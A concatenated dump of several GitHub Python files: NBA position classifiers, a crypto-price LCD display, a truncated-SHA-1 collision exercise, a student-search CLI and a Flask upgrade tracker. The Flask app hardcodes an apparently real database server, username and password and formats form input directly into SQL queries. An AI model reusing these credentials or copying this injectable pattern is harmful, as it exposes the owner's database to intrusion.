\"SF\")\r\ndataFrame = dataFrame.replace(\"SF-PF\", \"SF\")\r\ndataFrame = dataFrame.replace(\"PF-SF\", \"PF\")\r\ndataFrame = dataFrame.replace(\"PF-C\", \"PF\")\r\ndataFrame = dataFrame.replace(\"C-PF\", \"C\")\r\ndataFrame = dataFrame.replace(\"SG-PF\", \"SG\")\r\n\r\n# All values are rounded up to their decimally double-digit representations\r\ndataFrame = dataFrame.round({'PTS': 2, 'TRB': 2, 'ORB': 2, 'AST': 2, 'STL': 2})\r\ndataFrame = dataFrame.round({'BLK': 2, 'FG': 2, 'FGA': 2, 'FG%': 2, '3P': 2})\r\ndataFrame = dataFrame.round({'3PA': 2, '3P%': 2, '2P': 2, '2PA': 2, '2P%': 2})\r\ndataFrame = dataFrame.round({'FT': 2, 'FTA': 2, 'FT%': 2, 'PF': 2, 'TOV': 2, 'HGT': 2})\r\n\r\n# Columns which are not going to be used for prediction are removed from the dataframe\r\ndataFrame = dataFrame.drop(columns='Rk')\r\ndataFrame = dataFrame.drop(columns='Player')\r\ndataFrame = dataFrame.drop(columns='Age')\r\ndataFrame = dataFrame.drop(columns='Tm')\r\ndataFrame = dataFrame.drop(columns='G')\r\ndataFrame = dataFrame.drop(columns='GS')\r\ndataFrame = dataFrame.drop(columns='MP')\r\ndataFrame = dataFrame.drop(columns='DRB')\r\n\r\n# print(dataFrame)\r\n\r\n# Dispersion based on which position the players in the dataFrame play is examined\r\n#print(dataFrame.loc[:, 'Pos'].value_counts())\r\n\r\n# Every feature's average values for each position are shown on a small dataframe named 'summary_df'\r\nsummary_df = dataFrame.groupby('Pos').mean()\r\nsummary_df = summary_df.round(decimals=3)\r\n#print(summary_df)\r\n\r\n\r\n# Based on 'summary_df' averages for 5 primary statistics on each position is visualized on a bar chart\r\ndef bar_chart():\r\n bar_chart_df = summary_df[['PTS', 'TRB', 'AST', 'STL', 'BLK']]\r\n bar_chart_df.plot(kind='bar', figsize = (10, 6), title='Bar Chart of Main Stats across all 5 Positions')\r\n plt.show()\r\n\r\n# Calling the bar_chart function\r\n#bar_chart()\r\n\r\n# Height average visualized on a seperate bar chart for each position\r\ndef height_bar():\r\n height_bar_df = summary_df[['HGT']]\r\n height_bar_df.plot(kind='bar', figsize = (10, 6), title='Bar Chart of Height Averages(m) across all 5 Positions')\r\n plt.show()\r\n\r\n# Calling the height_bar function\r\n#height_bar()\r\n\r\n# Dispersion patterns of 5 primary statistics and height data on each other accorging to positions visulaized on a seaborn pair plot\r\ndef seaborn():\r\n sns_df = dataFrame[['PTS', 'TRB', 'AST', 'STL', 'BLK', 'Pos', 'HGT']]\r\n sns_df = sns_df.reset_index()\r\n sns_df = sns_df.drop('index', axis=1)\r\n sns_plot = sns.pairplot(sns_df, hue='Pos', size=2)\r\n\r\n plt.show()\r\n\r\n# Calling the seaborn function\r\n#seaborn()\r\n\r\n\r\n# 'Pos' column is dropped from x-axis and positioned on the y-axis to be shown across other rows\r\nX = dataFrame.drop('Pos', axis=1)\r\ny = dataFrame.loc[:, 'Pos']\r\n\r\n# Position names valued in a dictionary as their classic numerical values for the confusion matrix\r\nposition_dictionary = {\"PG\": 1,\"SG\": 2,\"SF\": 3,\"PF\": 4,\"C\": 5}\r\ny = y.map(position_dictionary).values.reshape(-1,1)\r\n\r\n# Splitting data into test and training values\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=1, stratify=y)\r\n\r\n# Scaling data across all columns to increase learning performance\r\nscaler = StandardScaler()\r\nX_scaler = scaler.fit(X_train)\r\nX_train_scaled = scaler.fit_transform(X_train)\r\nX_test_scaled = scaler.fit_transform(X_test)\r\n\r\n\r\n# Making predictions with a Decision Trees model and evaluating the results\r\ndef decision_tree():\r\n from sklearn import tree\r\n # Creation of the model\r\n dt1_model = tree.DecisionTreeClassifier(random_state=1)\r\n dt1_model = dt1_model.fit(X_train_scaled, y_train)\r\n # Making predictions\r\n predictions = dt1_model.predict(X_test_scaled)\r\n\r\n # Model's accuracy percentage\r\n model_accuracy_score = accuracy_score(y_test, predictions)\r\n model_accuracy_score = model_accuracy_score * 100\r\n print('Accuracy score for Decision Tree model: %', \"{:.2f}\".format(model_accuracy_score))\r\n\r\n # Importance of features on learning\r\n model_importances = pd.DataFrame(dt1_model.feature_importances_,\r\n index = X_train.columns, columns=['Importance of features for Decision Tree model']\r\n ).sort_values('Importance of features for Decision Tree model', ascending=False)\r\n print(model_importances)\r\n\r\n # Confusion Matrix for Decision Trees model\r\n plot_confusion_matrix(dt1_model, X_test_scaled, y_test)\r\n plt.title('Confusion Matrix for Decision Trees model')\r\n plt.show()\r\n\r\n # Classification report for Decision Trees model\r\n print(\"\\n Classification Report for Decision Tree model\")\r\n model_class_report = classification_report(y_test, predictions, target_names = ['PG', 'SG', 'SF', 'PF', 'C'])\r\n print(model_class_report)\r\n\r\n# Calling decision_tree function\r\n# decision_tree()\r\n\r\n'''\r\n# ///// Hyperparameter optimization with GridSearchCV module\r\nrf1_grid = RandomForestClassifier(random_state=42)\r\nparam_grid = {\r\n 'n_estimators': [200, 500],\r\n 'max_features': ['auto', 'sqrt', 'log2'],\r\n 'max_depth' : [4,5,6,7,8],\r\n 'criterion' :['gini', 'entropy']\r\n}\r\nCV_rfc = GridSearchCV(estimator=rf1_grid, param_grid=param_grid, cv= 5)\r\nCV_rfc.fit(X_train, y_train)\r\n\r\nprint(CV_rfc.best_params_)\r\n\r\n'''\r\n\r\n\r\n# Making predictions with a Random Forest model and evaluating the results\r\ndef random_forest():\r\n from sklearn.ensemble import RandomForestClassifier\r\n # Creation of the model\r\n rf1_model = RandomForestClassifier(n_estimators=200, random_state=1, max_depth=8,\r\n max_features='auto', criterion ='gini')\r\n rf1_model = rf1_model.fit(X_train_scaled, y_train)\r\n # Making predictions\r\n predictions = rf1_model.predict(X_test_scaled)\r\n\r\n # Model's accuracy percentage\r\n model_accuracy_score = accuracy_score(y_test, predictions)\r\n model_accuracy_score = model_accuracy_score * 100\r\n print('Accuracy score for Random Forest model: %', \"{:.2f}\".format(model_accuracy_score))\r\n\r\n # Importance of features on learning\r\n model_importances = pd.DataFrame(rf1_model.feature_importances_,\r\n index = X_train.columns, columns=['Importance of features for Random Forest model']\r\n ).sort_values('Importance of features for Random Forest model', ascending=False)\r\n print(model_importances)\r\n\r\n # Confusion Matrix for Random Forest model\r\n plot_confusion_matrix(rf1_model, X_test_scaled, y_test)\r\n plt.title('Confusion Matrix for Random Forest model')\r\n plt.show()\r\n\r\n # Classification report for Random Forest model\r\n print(\"\\n Classification Report for Random Forest model\")\r\n model_class_report = classification_report(y_test, predictions, target_names = ['PG', 'SG', 'SF', 'PF', 'C'])\r\n print(model_class_report)\r\n\r\n# Calling random_forest function\r\n# random_forest()\r\n\r\n\r\n# Making predictions with a Support Vector Machines(SVMs) model and evaluating the results\r\n\r\ndef svm():\r\n from sklearn import svm\r\n from sklearn.svm import SVC\r\n # Creation of the model\r\n svm1_model = svm.SVC(kernel='linear', random_state=1)\r\n svm1_model = svm1_model.fit(X_train_scaled, y_train)\r\n # Making predictions\r\n predictions = svm1_model.predict(X_test_scaled)\r\n\r\n # Model's accuracy percentage\r\n model_accuracy_score = accuracy_score(y_test, predictions)\r\n model_accuracy_score = model_accuracy_score * 100\r\n print('Accuracy score for Support Vector Machine model: %', \"{:.2f}\".format(model_accuracy_score))\r\n\r\n # Since there isn't a '.feature_importances_' method for Support Vector Machines, to visualize these values a plot is formed\r\n \r\n def f_importances(coef, names, top=-1):\r\n imp = coef\r\n imp, names = zip(*sorted(list(zip(imp, names))))\r\n # Tüm özniteleliklerin gösterilmesi\r\n if top == -1:\r\n top = len(names)\r\n plt.barh(range(top), imp[::-1][0:top], align='center')\r\n plt.yticks(range(top), names[::-1][0:top])\r\n plt.title('Feature Importances for Support Vector Machine model')\r\n plt.show()\r\n feature_names = ['PTS', 'TRB', 'ORB', 'AST', 'STL', 'BLK', 'FG', 'FGA', 'FG%', '3P', '3PA', '3P%',\r\n '2P', '2PA', '2P%', 'FT', 'FTA', 'FT%', 'PF', 'TOV', 'HGT']\r\n # Plot indicating each feature's importance on learning\r\n f_importances(abs(svm1_model.coef_[0]), feature_names)\r\n\r\n # Confusion Matrix for Support Vector Machines model\r\n plot_confusion_matrix(svm1_model, X_test_scaled, y_test)\r\n plt.title('Confusion Matrix for Support Vector Machine model')\r\n plt.show()\r\n\r\n # Classification report for Support Vector Machines model\r\n print(\"\\n Classification Report for Support Vector Machine model\")\r\n model_class_report = classification_report(y_test, predictions, target_names = ['PG', 'SG', 'SF', 'PF', 'C'])\r\n print(model_class_report)\r\n\r\n# Calling svm function\r\n# svm()\r\n\r\n\r\nfrom sklearn.ensemble import GradientBoostingClassifier\r\n\r\n# learning_rate plays a crucial role in Gradient Boosting Tree models' learning pace\r\n# so to find the optimal value for this parameter, evalutions are made on values between 0 and 1 with 5% intervals\r\n# The most fitting value is used in the model\r\nfor learning_rate in range (5,101,5):\r\n learning_rate = \"{:.2f}\".format(learning_rate/100)\r\n learning_rate = float(learning_rate)\r\n gbt1_model = GradientBoostingClassifier(n_estimators=20, learning_rate=learning_rate, max_features=5, max_depth=3, random_state=0)\r\n # Fit the model\r\n gbt1_model.fit(X_train_scaled, y_train.ravel())\r\n print(\"Learning rate: \", learning_rate)\r\n # Score the model\r\n print(\"Accuracy score (training): {0:.3f}\".format(\r\n gbt1_model.score(\r\n X_train_scaled,\r\n y_train.ravel())))\r\n print(\"Accuracy score (validation): {0:.3f}\".format(\r\n gbt1_model.score(\r\n X_test_scaled,\r\n y_test.ravel())))\r\n\r\n\r\n# Making predictions with a Gradient Boosted Trees model and evaluating the results\r\ndef gbt():\r\n # Creation of the model\r\n gbt1_model = GradientBoostingClassifier(n_estimators=20, learning_rate=0.15, max_depth=3, random_state=1)\r\n gbt1_model = gbt1_model.fit(X_train_scaled, y_train)\r\n # Making predictions\r\n predictions = gbt1_model.predict(X_test_scaled)\r\n\r\n # Model's accuracy percentage\r\n model_accuracy_score = accuracy_score(y_test, predictions)\r\n model_accuracy_score = model_accuracy_score * 100\r\n print('\\nAccuracy score for Gradient Boosted Trees model: %', \"{:.2f}\".format(model_accuracy_score))\r\n\r\n # Importance of features on learning\r\n model_importances = pd.DataFrame(gbt1_model.feature_importances_,\r\n index = X_train.columns, columns=['Importance of features for Gradient Boost '\r\n 'Trees model']\r\n ).sort_values('Importance of features for Gradient Boost Trees model', ascending=False)\r\n print(model_importances)\r\n\r\n # Confusion Matrix for Gradient Boosted Trees model\r\n plot_confusion_matrix(gbt1_model, X_test_scaled, y_test)\r\n plt.title('Confusion Matrix for Gradient Boosted Trees model')\r\n plt.show()\r\n\r\n # Classification report for Gradient Boosted Trees model\r\n print(\"\\n Classification Report for Gradient Boosted Trees model\")\r\n model_class_report = classification_report(y_test, predictions, target_names = ['PG', 'SG', 'SF', 'PF', 'C'])\r\n print(model_class_report)\r\n \r\n# Calling gbt function\r\n# gbt()\r\n","repo_name":"ardakcklr/nba-position-prediction","sub_path":"nba-position-prediction.py","file_name":"nba-position-prediction.py","file_ext":"py","file_size_in_byte":13657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41191938447","text":"from subprocess import Popen, PIPE\nfrom time import sleep\nfrom datetime import datetime\nimport board\nimport digitalio\nimport json\nimport requests\nimport adafruit_character_lcd.character_lcd as characterlcd\n\n# Initialise screen characters\nlcd_columns = 16\nlcd_rows = 2\n\n# Initialise RPi IO \nlcd_rs = digitalio.DigitalInOut(board.D26)\nlcd_en = digitalio.DigitalInOut(board.D19)\nlcd_d4 = digitalio.DigitalInOut(board.D13)\nlcd_d5 = digitalio.DigitalInOut(board.D6)\nlcd_d6 = digitalio.DigitalInOut(board.D5)\nlcd_d7 = digitalio.DigitalInOut(board.D11)\nlcd_backlight = digitalio.DigitalInOut(board.D9) # not connected\n\n# Initialise the LCD with class\nlcd = characterlcd.Character_LCD_Mono(lcd_rs, lcd_en, lcd_d4, lcd_d5, lcd_d6,\n lcd_d7, lcd_columns, lcd_rows, lcd_backlight)\n\n# Create custom characters for display\nlcd.create_char(0, [0x00, 0x04, 0x04, 0x0E, 0x0E, 0x1F, 0x04, 0x04]) # Arrow up\nlcd.create_char(1, [0x00, 0x04, 0x04, 0x1F, 0x0E, 0x0E, 0x04, 0x04]) # Arrow down\nlcd.create_char(2, [0x04, 0x04, 0x1F, 0x04, 0x04, 0x00, 0x1F, 0x00]) # +-\n\nlastPrice = 0\n\ndef getSavedPrice():\n try:\n with open(\"data.json\", \"r\") as read_file:\n price_data = json.load(read_file)[\"priceData\"]\n old_price = price_data[\"lastPrice\"]\n print(\"Fetched last price successfully! $\" + str(old_price) + \" at \" + str(price_data[\"timeStamp\"]))\n return old_price\n except:\n print(\"Error parsing price data\")\n\ndef xchPrice():\n try:\n b = requests.get('https://min-api.cryptocompare.com/data/price?fsym=XCH&tsyms=USD')\n price = float(json.loads(b.text)['USD'])\n \n \n # save last known price with time stamp before overwriting, if it's new data\n if not lastPrice == price:\n price_data = { \n \"priceData\": {\n \"lastPrice\": lastPrice,\n \"timeStamp\": datetime.now().strftime(' %b %d %H:%M:%S')\n }\n }\n\n with open(\"data.json\", \"w\") as write_file:\n json.dump(price_data, write_file)\n print(\"Saved price data: $\" + str(lastPrice) + \" on \" + datetime.now().strftime(' %b %d %H:%M:%S') +\". New price: $\" + str(price))\n \n return price\n\n except requests.ConnectionError:\n print (\"Error querying Crytocompare API\")\n\n# Determines direction of the arrow\ndef arrow(price_input):\n try:\n \n currentPrice = price_input\n if lastPrice < currentPrice:\n return \"\\x00\"\n elif lastPrice > currentPrice:\n return \"\\x01\"\n elif lastPrice == currentPrice:\n return \"\\x02\"\n \n except:\n print(\"Error comparing prices.\")\n\n# wipe LCD screen before we start\nlcd.clear()\n\n# start screen\nlcd.backlight = True\n\n# set last price empty\nlastPrice = getSavedPrice()\n\n# Main loop\nwhile True:\n # show xch price\n price = xchPrice()\n \n # clear screen if price is less than 7 characters\n # because otherwise we'll get some weird overlaps..\n if len(str(price)) < 6:\n lcd.clear()\n print(\"Cleared screen to prevent decimal issues!\")\n \n # print current price\n lcd_line_1 = \" XCH: $\" + str(price) + str(arrow(price)) + \"\\n\"\n \n # update to last known price after we've compared\n lastPrice = price\n\n # date and time\n lcd_line_2 = datetime.now().strftime(' %b %d %H:%M:%S')\n\n # combine both lines into one update to the display\n lcd.message = lcd_line_1 + lcd_line_2\n\n sleep(5)\n","repo_name":"mArvidsson/chia-hpool-earnings-monitor","sub_path":"xch.py","file_name":"xch.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15660559247","text":"import hashlib\nimport string\nimport sys\nfrom PrintUtils import *\n\ndef floyd_collision(bits, restore = False, debug = True):\n k = bits // 4\n if k <= 0:\n raise ValueError()\n\n print_init() #colorama setup\n \n birthday_num = 2 ** (2*k)\n temp_file = \"floyd.txt\"\n start = \"Hello world!\"\n epoch_size = 10 ** 7\n step_size = birthday_num // 1000\n if bits < 50: \n step_size = birthday_num // 200\n \n if restore:\n with open(temp_file, \"r\") as fin:\n cnt = int(fin.readline().strip())\n epoch = int(fin.readline().strip())\n if epoch > 0:\n epoch-=1\n dig_1 = fin.readline()[:-1]\n dig_2 = fin.readline()[:-1]\n else:\n cnt = 0\n epoch = 0\n dig_1 = hashlib.sha1(start.encode(\"utf-8\")).hexdigest()[40-k:]\n dig_2 = hashlib.sha1(start.encode(\"utf-8\")).hexdigest()[40-k:]\n dig_2 = hashlib.sha1(dig_2.encode(\"utf-8\")).hexdigest()[40-k:]\n\n if debug:\n print_debug(\"starting from epoch #\" + str(epoch) + \", step #\" + str(cnt))\n print_debug(\"actual digests:\", dig_1, dig_2)\n \n print_normal(\"Searching for a loop: \", end = \"\", flush = True)\n msg = \"epoch #%i - birthday ratio: %.1f %%\" % (epoch, (100* (cnt/birthday_num)))\n while dig_1 != dig_2:\n if cnt % epoch_size == 0:\n epoch+=1\n with open(temp_file, \"w\") as fout:\n print(cnt, epoch, dig_1, dig_2, sep = \"\\n\", file = fout)\n if cnt % step_size == 0:\n msg = \"epoch #%i - birthday ratio: %.1f %%\" % (epoch, (100* (cnt/birthday_num)))\n print_accent(msg + chr(8) * len(msg), end = \"\", flush = True)\n \n dig_1 = hashlib.sha1(dig_1.encode(\"utf-8\")).hexdigest()[40-k:]\n dig_2 = hashlib.sha1(dig_2.encode(\"utf-8\")).hexdigest()[40-k:]\n dig_2 = hashlib.sha1(dig_2.encode(\"utf-8\")).hexdigest()[40-k:]\n cnt+=1\n\n print_ok(\"DONE\" + \" \"*len(msg)+\"\\n\", end = \"\", flush = True)\n if debug:\n print_debug(\"Number of strings generated: \", cnt)\n print_normal(\"Computing the collision \", end = \"\", flush = True)\n dig_1 = start\n\n #ugly dots print...\n cnt_2 = 0\n dots = 0\n while dig_1 != dig_2:\n if cnt_2 % step_size == 0:\n if dots == 0:\n msg = \". \"\n elif dots == 1:\n msg = \".. \"\n else:\n msg = \"...\"\n dots = -1\n dots+=1\n print_accent(msg + chr(8) * len(msg), end = \"\", flush = True)\n cnt_2+=1\n str_1 = dig_1\n dig_1 = hashlib.sha1(dig_1.encode(\"utf-8\")).hexdigest()[40-k:]\n str_2 = dig_2\n dig_2 = hashlib.sha1(dig_2.encode(\"utf-8\")).hexdigest()[40-k:]\n print_ok(\"DONE\" + \" \"*len(msg))\n print()\n print_normal(\"Collision found:\", end = \" \")\n print_ok(str_1, str_2)\n print_normal(\"Colliding hash:\", end = \" \")\n print_ok(dig_1)\n \n return str_1, str_2, dig_1, cnt\n\n","repo_name":"lrusso96/Computer-Network-Security","sub_path":"Homework-2/code/Floyd.py","file_name":"Floyd.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"38830607938","text":"import torch.utils.data as data\n\nclass PartialDataset(data.Dataset):\n\n def __init__(self, dataset, accept_label):\n self.dataset = dataset\n self.accept_label = accept_label\n\n def __getitem__(self, index):\n impath, target = self.imlist[index]\n \n img = self.load_img(os.path.join(self.root, impath))\n\n if self.transform is not None:\n\t img = self.transform(img)\n \n if self.target_transform is not None:\n target = self.target_transform(target)\n\n return img, target\n\n def __len__(self):\n return len(self.imlist)\n","repo_name":"ggyy0906/HFDN1","sub_path":"mdata/_trash/partial_dataset.py","file_name":"partial_dataset.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"33744988081","text":"#Caitlin Settles and Ty Farris\nimport statistics\nimport sys\n\nclass Student:\n def __init__(self, last_name, first_name, grade, classroom,\n bus, gpa, teacher_last_name, teacher_first_name):\n self.first_name = first_name\n self.last_name = last_name\n self.grade = int(grade)\n self.gpa = float(gpa)\n self.classroom = int(classroom)\n self.bus = int(bus)\n self.teacher_first_name = teacher_first_name.strip()\n self.teacher_last_name = teacher_last_name\n\n def __repr__(self):\n return f'{self.last_name}, {self.first_name}'\n\ndef parse_file(file_name):\n students = []\n with open(file_name) as f:\n for line in f:\n data = line.split(',')\n students.append(Student(*data))\n return students\n\ndef search_lastname(students, last_name, bus=False):\n def print_student(x):\n if bus:\n return f'\\t{x.last_name}, {x.first_name}, {x.bus}'\n return f'\\t{x.last_name}, {x.first_name}, {x.grade}, {x.classroom}, {x.teacher_last_name}, {x.teacher_first_name}'\n \n print(*(print_student(x) for x in\n filter(lambda x: x.last_name == last_name, students)), sep = '\\n')\n\ndef search_teacher(students, teacher_last_name):\n print('\\t', end='')\n print(*filter(lambda x: x.teacher_last_name == teacher_last_name, students), sep=\"\\n\\t\")\n\ndef search_grade(students, grade, high=None):\n\n result = [x for x in students if x.grade == grade]\n\n if len(result) != 0 and high != None and high:\n result = max(result, key=lambda x: x.gpa)\n print(f'\\t{result}: {result.bus}, {result.gpa}, {result.teacher_last_name}, {result.teacher_first_name}')\n elif len(result) != 0 and high != None and not high:\n result = min(result, key=lambda x: x.gpa)\n print(f'\\t{result}: {result.bus}, {result.gpa}, {result.teacher_last_name}, {result.teacher_first_name}')\n else:\n print('\\t', end='')\n print(*result, sep=\"\\n\\t\")\n\ndef search_bus(students, bus):\n print('\\t', end='')\n print(*(f'{x}: {x.grade}, {x.classroom}' for x in filter(lambda x: x.bus == bus, students)), sep=\"\\n\\t\")\n\ndef search_average(students, grade):\n average = 0.0\n try:\n average = statistics.mean(map(lambda x: x.gpa, filter(lambda x: x.grade == grade, students)))\n except statistics.StatisticsError:\n pass\n print(f'\\tgrade level {grade}: {average:.3} average')\n\ndef info(students):\n print(\" Grade: Number of Students\")\n for i in range(7):\n print(f'\\t{i}:', len(list(filter(lambda x: x.grade == i, students))))\n\ndef invalidCommand():\n options = \"\"\" \n S[tudent]: <lastname> [B[us]]\\n\n T[eacher]: <lastname>\\n\n B[us]: <number>\\n\n G[rade]: <number> [H[igh]|L[ow]]\\n\n A[verage]: <number>\\n\n I[nfo]\\n\n Q[uit]\n \"\"\"\n print(\"Invalid command. Below are the following options.\\n %s\" %options)\n\nif __name__ == '__main__':\n try:\n students = parse_file('students.txt')\n except:\n exit(\"students.txt: unrecognized file format\")\n\n command = [\"\"]\n\n while command[0] not in (\"Quit\", \"Q\"):\n query = input(\"\")\n command = query.split(\"Enter in command >> \")\n if any('#' in x for x in command) or (len(command) == 1 and not command[0].strip()):\n continue\n else:\n print(query)\n\n if len(command) <= 3 and command[0] in (\"Student:\", \"S:\"):\n if len(command) == 2:\n search_lastname(students, command[1])\n elif len(command) == 3 and command[2] in (\"B\", \"Bus\"):\n search_lastname(students, command[1], True)\n else:\n invalidCommand()\n\n elif len(command) == 2 and command[0] in (\"Teacher:\", \"T:\"):\n search_teacher(students, command[1])\n\n elif len(command) == 2 and command[0] in (\"Bus:\", \"B:\"):\n try:\n i = int(command[1])\n except:\n invalidCommand()\n continue\n\n search_bus(students, i)\n\n elif len(command) <= 3 and command[0] in (\"Grade:\", \"G:\"):\n try:\n i = int(command[1])\n except:\n invalidCommand()\n continue\n if len(command) == 3:\n if command[2] in (\"High\", \"H\"):\n search_grade(students, i, True)\n elif command[2] in (\"Low\", \"L\"):\n search_grade(students, i, False)\n else:\n invalidCommand()\n else:\n search_grade(students, i)\n\n elif len(command) <= 2 and command[0] in (\"Average:\", \"A:\"):\n try:\n i = int(command[1])\n except:\n invalidCommand()\n continue\n search_average(students, i)\n\n elif len(command) == 1 and command[0] in (\"Info\", \"I\"):\n info(students)\n\n elif len(command) == 1 and command[0] in (\"Quit\", \"Q\"):\n exit()\n\n else:\n invalidCommand()\n","repo_name":"csettles/CSC365","sub_path":"lab1/schoolsearch.py","file_name":"schoolsearch.py","file_ext":"py","file_size_in_byte":5042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21622737044","text":"from django.contrib.auth.models import User\r\nfrom .models import Book, Item\r\nfrom rest_framework import serializers\r\nfrom django.http import HttpResponse\r\n\r\n\r\nclass UserSerializer(serializers.HyperlinkedModelSerializer):\r\n class Meta:\r\n model = User\r\n fields = ['username', 'email']\r\n\r\nclass BooksSerializer(serializers.ModelSerializer):\r\n \"\"\"\r\n BooksSerializer - serializes data from the Books class to JASON\r\n \"\"\"\r\n class Meta:\r\n model = Book\r\n\r\n fields = ['title', 'authors','published_date','categories', 'average_rating','ratings_count','thumbnail']\r\n\r\n def create(self, validated_data):\r\n \"\"\"\r\n create - the method returns Book class objects created from values sent with the post method\r\n :param validated_data - dict\r\n :return returns a Book object that was created serialized to the JASON front\r\n \"\"\"\r\n book,create=Book.objects.update_or_create(**validated_data)\r\n return book\r\n\r\n\r\n\r\n\r\nclass ItemSerializer(serializers.ModelSerializer):\r\n \"\"\"\r\n BooksSerializer - serializes data from the Item class to JASON\r\n \"\"\"\r\n class Meta:\r\n model = Item\r\n fields = ['kind','book']\r\n\r\n\r\n\r\n","repo_name":"izuu12/library-REST-API","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28087218772","text":"from flask import Flask, render_template, request, jsonify, session, flash\nimport pyodbc\nfrom jinja2 import Environment\nfrom flask import redirect\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, DateField, SelectField\nfrom wtforms.validators import DataRequired\nfrom flask_bootstrap import Bootstrap\nfrom flask_datepicker import datepicker\nfrom datetime import datetime\nimport os\nfrom gevent.pywsgi import WSGIServer\n\nenv = Environment()\nenv.globals.update(len=len)\n\napp = Flask(__name__)\n\napp.secret_key = '000d88cd9d90036ebdd237eb6b0db000'\n\nBootstrap(app)\ndatepicker(app)\n\nclass UpgradeForm(FlaskForm):\n name = StringField('Name', validators=[DataRequired()])\n agiblock_version = SelectField('Agiblock Version', choices=[], validators=[DataRequired()])\n plugin_version = SelectField('Plugin Version', choices=[], validators=[DataRequired()])\n date_of_upgrade = DateField('Date of Upgrade', format='%Y-%m-%dT%H:%M:%S.%f', validators=[DataRequired()])\n\n# Replace the values in the connection string with your own\nserver = 'sql-qa-agiblocks-004.database.windows.net'\n\ndatabase = 'application-python'\n\nusername = 'agiboo'\n\npassword = 'qzu22TdMn5kCeZa8nL8Q4qMp'\n\ndriver = '{ODBC Driver 18 for SQL Server}'\n\nserver = 'xxx'\n\ndatabase = 'application-python'\n\nusername = 'xxxx'\n\npassword = 'xx'\n\ndriver = '{ODBC Driver 18 for SQL Server}'\n\n# Establish a connection to the database\nconn = pyodbc.connect('DRIVER=' + driver + ';SERVER=' + server + ';PORT=1433;DATABASE=' + database + ';UID=' + username + ';PWD=' + password + ';Connect Timeout=90;')\n\n@app.route('/health')\ndef health():\n try:\n with conn.cursor() as cursor:\n cursor.execute('SELECT 1')\n cursor.fetchall()\n return jsonify({'status': 'ok'})\n except Exception as e:\n print(\"Error:\", e)\n return jsonify({'status': 'error', 'message': str(e)}), 500\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n # Get the values for the first drop-down menu from the database\n with conn.cursor() as cursor:\n cursor.execute('SELECT DISTINCT Cust FROM [dbo].[application-upgrade-table]')\n options1 = [row[0] for row in cursor.fetchall()]\n\n options2 = []\n results = []\n if request.method == 'POST':\n num_dropdowns = int(request.form.get('numPairs'))\n selected_values = {}\n for i in range(1, num_dropdowns + 1):\n selected_values[f\"dropdown{i}\"] = request.form.get(f\"dropdown{i}\")\n if all(selected_values.values()):\n with conn.cursor() as cursor:\n cursor.execute(\"SELECT DISTINCT Env FROM [dbo].[application-upgrade-table] WHERE Cust= '{}' ORDER BY Env ASC\".format(selected_values['dropdown1']))\n options2 = [row[0] for row in cursor.fetchall()]\n\n session['customer'] = selected_values['dropdown1']\n session['env'] = selected_values['dropdown2']\n cursor.execute(\"SELECT DISTINCT AgiblocksVersion, Pluginversion FROM [dbo].[application-version] ORDER BY AgiblocksVersion, Pluginversion\")\n agiblock_plugin_versions = cursor.fetchall()\n agiblock_versions = sorted(list(set([row[0] for row in agiblock_plugin_versions])))\n plugin_versions = sorted(list(set([row[1] for row in agiblock_plugin_versions])))\n cursor.execute(\"select a.Subscription,a.Cust,b.Env,a.SiteUrl,a.AgiblockVersion,a.Pluginversion,b.Masterdata,b.Basiscost,b.Businesscentralplaceholderapi,b.Certificates,b.Costofcarry,b.Derivativesintegration,b.Mailer,b.Marketprices,b.Notification,b.Propertycalculator,b.Purchaseallocation,b.Salesallocation,b.Sampling,b.Scaletickets,b.Selfbilling,b.Scheduler,b.Reporting,b.Transportorders,b.MessageOrchestration, b.Selfbillingreporting FROM [dbo].[application-upgrade-table] a inner join [dbo].[application-plugin-table] b on a.customer=b.customer and a.env=b.env WHERE a.Cust = '{}' AND a.Env = '{}'\".format(selected_values['dropdown1'], selected_values['dropdown2']))\n rows = cursor.fetchall()\n column_names = [column[0] for column in cursor.description]\n results = [dict(zip(column_names, row)) for row in rows]\n non_boolean_columns = [column_name for column_name in column_names if cursor.description[column_names.index(column_name)][1] not in (bool, type(None))]\n boolean_columns = [column_name for column_name in column_names if cursor.description[column_names.index(column_name)][1] == bool]\n columns_list = ['Agiblockversion', 'Pluginversion', 'DateofUpgrade']\n form = UpgradeForm()\n form.agiblock_version.choices = [(version, version) for version in agiblock_versions]\n form.plugin_version.choices = [(version, version) for version in plugin_versions]\n session['results'] = results\n session['boolean_columns'] = boolean_columns\n if form.validate_on_submit():\n print('Form validated successfully!')\n # Handle form submission\n name = form.name.data\n date_of_upgrade = form.date_of_upgrade.data\n versions = {'Agiblockversion': agiblock_versions, 'Pluginversion': plugin_versions}\n return render_template('searchresult.html', results=results, form=form, non_boolean_columns=non_boolean_columns, boolean_columns=boolean_columns, columns_list=columns_list,versions=versions)\n \n return render_template('index.html', options1=options1, options2=options2, results=results)\n\n\n@app.route('/get_options', methods=['POST'])\ndef get_options():\n # Get the selected value from dropdown 1\n selected_value = request.form['dropdown1']\n \n # Query the database for the options for dropdown 2 based on the selected value from dropdown 1\n with conn.cursor() as cursor:\n cursor.execute(\"SELECT DISTINCT Env FROM [dbo].[application-upgrade-table] WHERE Cust = '{}' ORDER BY Env ASC\".format(selected_value))\n options2 = [row[0] for row in cursor.fetchall()]\n \n # Return the options for dropdown 2 as a JSON response\n return jsonify({'options': options2})\n\n\n@app.route('/update', methods=['POST'])\ndef update():\n # Get the form data submitted by the user\n form_data = request.form.to_dict()\n results = session.get('results')\n # Extract the column names and values from the form data\n non_boolean_columns = []\n non_boolean_values = []\n boolean_columns = []\n boolean_values = []\n customer = session.get('customer')\n env = session.get('env')\n\n # 